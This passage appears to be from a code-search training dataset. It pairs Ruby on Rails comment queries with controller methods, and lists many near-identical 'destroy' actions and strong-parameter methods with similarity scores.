@event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n\n end", "def destroy\n @event = Event.find(params[:id])\n #@event.update_attribute(:deleted, true)\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :ok }\n end\n end", "def destroy\n # @event.destroy_eventbrite_event\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @event_request = EventRequest.find(params[:id])\n @event_request.destroy\n\n respond_to do |format|\n format.html { redirect_to event_requests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_event = ActivityEvent.find(params[:id])\n @activity_event.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = EventPost.find(params[:id])\n @event.destroy\n track_activity @event\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @eatvent = Eatvent.find(params[:id])\n @eatvent.destroy\n\n respond_to do |format|\n format.html { redirect_to eatvents_url }\n format.json { head :ok }\n end\n end", "def destroy\n @auction_event.destroy\n respond_to do |format|\n format.html { redirect_to auction_events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url}\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n render :nothing => true, :status => 200, :content_type => 'text/plain'\n end", "def destroy\n @post_event.destroy\n respond_to do |format|\n format.html { redirect_to post_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @hive_event = HiveEvent.find(params[:id])\n @hive_event.destroy\n\n respond_to do |format|\n format.html { redirect_to hive_events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = @current_account.events.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find_by_id(params[:id])\n #if params[:delete_all] == 'true'\n # @event.event_series.destroy\n \n #elsif params[:delete_all] == 'future'\n # @events = @event.event_series.events.find(:all, :conditions => [\"start_time > '#{@event.start_time.to_formatted_s(:db)}' \"])\n # @event.event_series.events.delete(@events)\n \n #else\n # @event.destroy\n # redirect_to '/events'\n #end\n\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @client = Client.find(@event.client_id)\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to events_to_client_path(@client) }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n\n sync_destroy @event\n\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html {redirect_to events_url}\n format.json {head :no_content}\n end\n end", "def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n head :no_content\n end", "def destroy\n @adverse_event.destroy\n respond_to do |format|\n format.html { redirect_to adverse_events_url, notice: 'Evento adverso eliminado satisfactoriamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n \n head :no_content\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to(:back, notice: 'Wohohh.') }\n format.json { head :no_content }\n end\n end", "def destroy\n @event.destroy\n respond_to do |format|\n format.html { redirect_to top_index_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7055269", "0.70502186", "0.7048779", "0.7048779", "0.7048779", "0.70203084", "0.70112544", "0.698227", "0.6941624", "0.693605", "0.69297975", "0.6914077", "0.68994254", "0.68961644", "0.68787616", "0.6847989", "0.68315595", "0.6820424", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68196297", "0.68142986", "0.6812481", "0.68119407", "0.67989635", "0.6793762", "0.67870945", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.6780825", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67808", "0.67710876", "0.6769966", "0.6769671", "0.676843", "0.6766877", "0.67607015", "0.6759398", "0.6750461", "0.6740086", "0.6733842", "0.67249167", "0.67139006", "0.67031515", "0.66980684", "0.6691854", "0.66734254", "0.6667872" ]
0.7440448
0
Use callbacks to share common setup or constraints between actions.
def set_bet_event @bet_event = BetEvent.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def bet_event_params params.require(:bet_event).permit(:name, :description, :end_time, :status, :winning_option) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n 